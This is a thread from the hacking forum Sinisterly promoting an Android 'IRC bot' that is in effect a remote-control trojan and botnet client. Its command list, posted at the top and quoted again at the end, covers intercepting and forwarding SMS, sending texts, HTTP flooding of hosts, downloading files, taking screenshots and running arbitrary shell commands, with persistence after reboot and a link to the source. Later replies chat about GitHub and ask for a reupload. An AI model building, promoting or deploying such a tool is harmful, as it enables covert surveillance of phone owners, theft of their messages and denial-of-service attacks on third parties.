Sinisterly
[android] IRC bot - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Java, JVM, & JRE (https://sinister.ly/Forum-Java-JVM-JRE)
+--- Thread: [android] IRC bot (/Thread-android-IRC-bot)



[android] IRC bot - titbang - 08-11-2017

Unfinished IRC bot base for the Android platform.

Commands,

Code:
.login <password>                      / login to bot
.text <number> <message>  <options>    / send a text
.toast <message>                       / toast the device
.visit <link>                          / visit specified link
.sniff.on                              / forward texts to irc channel
.sniff.off                             / stop sniffer
.fwd.on <number>                       / forward all texts to number
.fwd.off                               / stop forwarding
.flood.on <link> <threads> <time>      / http flood host
.flood.off                             / stop flood
.download <link> <file>                / download file to location
.screenshot <file>                     / save screenshot to file
.sysinfo                               / display sysinfo
.rndnick                               / generate new nick
.shell <command>                       / execute shell command
.raw <command>                         / send raw irc command
.die                                   / kill all services and stop bot
.logout                                / logout of bot

This program launches a background service for the IRC connection and starts after power-up/reboot.

VirusTotal: https://virustotal.com/#/file/c6b646207e958874d35508a7b7c0d801af855d2f99030977a9f082a66c733b9a/detection

Source code is available here: https://github.com/titbang/bangbot


RE: [android] IRC Bot - 3rd Impact - 08-11-2017

Thanks op this seems like it could be pretti useful


RE: [android] IRC Bot - titbang - 08-16-2017

(08-11-2017, 06:17 PM)3rd Impact Wrote: Thanks op this seems like it could be pretti useful

The code needs optimized, features need added, and the launcher needs removed to be environmentally ready for deployment. In it's current state it's a fun gimmick in public IRC channels.

Update: I have modified the base quite a bit and added quite a few features. I hope this will come in handy to someone. Please view the original post for updated commands.


RE: [android] IRC Bot - Inori - 08-16-2017

I can't look through the code too much at the moment, but this seems like a really cool project. Have you considered hosting it on github/gitlab so others can share improvements and new features?


RE: [android] IRC Bot - titbang - 08-16-2017

(08-16-2017, 06:12 PM)Inori Wrote: I can't look through the code too much at the moment, but this seems like a really cool project. Have you considered hosting it on github/gitlab so others can share improvements and new features?

I'm not a huge fan of GitHub. I think it is a code monopoly that companies can use for rapid development without accreditation to the respective authors. It is useful for some samples but I just can't shake the thought someone may redistribute, modify, and sell your code even if you have a license in place. Effectively there is no way to prove they modified it and I think the big companies love this. I'm not necessarily concerned with a project like this but still I won't use it for that reason. I would be curious to see how many projects have been spawned from modifying entire works and throwing out their licenses.


RE: [android] IRC Bot - Inori - 08-16-2017

(08-16-2017, 06:24 PM)titbang Wrote:
(08-16-2017, 06:12 PM)Inori Wrote: I can't look through the code too much at the moment, but this seems like a really cool project. Have you considered hosting it on github/gitlab so others can share improvements and new features?

I'm not a huge fan of GitHub. I think it is a code monopoly  that companies can use for rapid development without accreditation to the respective authors. It is useful for some samples but I just can't shake the thought someone may redistribute, modify, and sell your code even if you have a license in place. Effectively there is no way to prove they modified it and I think the big companies love this. I'm not necessarily concerned with a project like this but still I won't use it for that reason. I would be curious to see how many projects have been spawned from modifying entire works and throwing out their licenses.

Totally a valid concern. I'm very pro-open source so the majority of my projects are out in the open, but I absolutely see where you're coming from.


RE: [android] IRC Bot - titbang - 08-25-2017

After further consideration, I have moved all my projects including this one to GitHub. The original post has been updated with the relative link.


RE: [android] IRC Bot - Blink - 08-25-2017

(08-25-2017, 07:06 PM)titbang Wrote: After further consideration, I have moved all my projects including this one to GitHub. The original post has been updated with the relative link.

Shoot, I wish I saw this earlier.
If I did, I would've said to use GitLab, it has free private repos, and GitHub itself is closed source whereas GitLab is open.


RE: [android] IRC bot - hussy - 11-11-2017

(08-11-2017, 10:56 AM)titbang Wrote: Unfinished IRC bot base for the Android platform.

Commands,

Code:
.login <password>                      / login to bot
.text <number> <message>  <options>    / send a text
.toast <message>                       / toast the device
.visit <link>                          / visit specified link
.sniff.on                              / forward texts to irc channel
.sniff.off                             / stop sniffer
.fwd.on <number>                       / forward all texts to number
.fwd.off                               / stop forwarding
.flood.on <link> <threads> <time>      / http flood host
.flood.off                             / stop flood
.download <link> <file>                / download file to location
.screenshot <file>                     / save screenshot to file
.sysinfo                               / display sysinfo
.rndnick                               / generate new nick
.shell <command>                       / execute shell command
.raw <command>                         / send raw irc command
.die                                   / kill all services and stop bot
.logout                                / logout of bot

This program launches a background service for the IRC connection and starts after power-up/reboot.

VirusTotal: https://virustotal.com/#/file/c6b646207e958874d35508a7b7c0d801af855d2f99030977a9f082a66c733b9a/detection

Source code is available here: https://github.com/titbang/bangbot

Can anyone reupload this?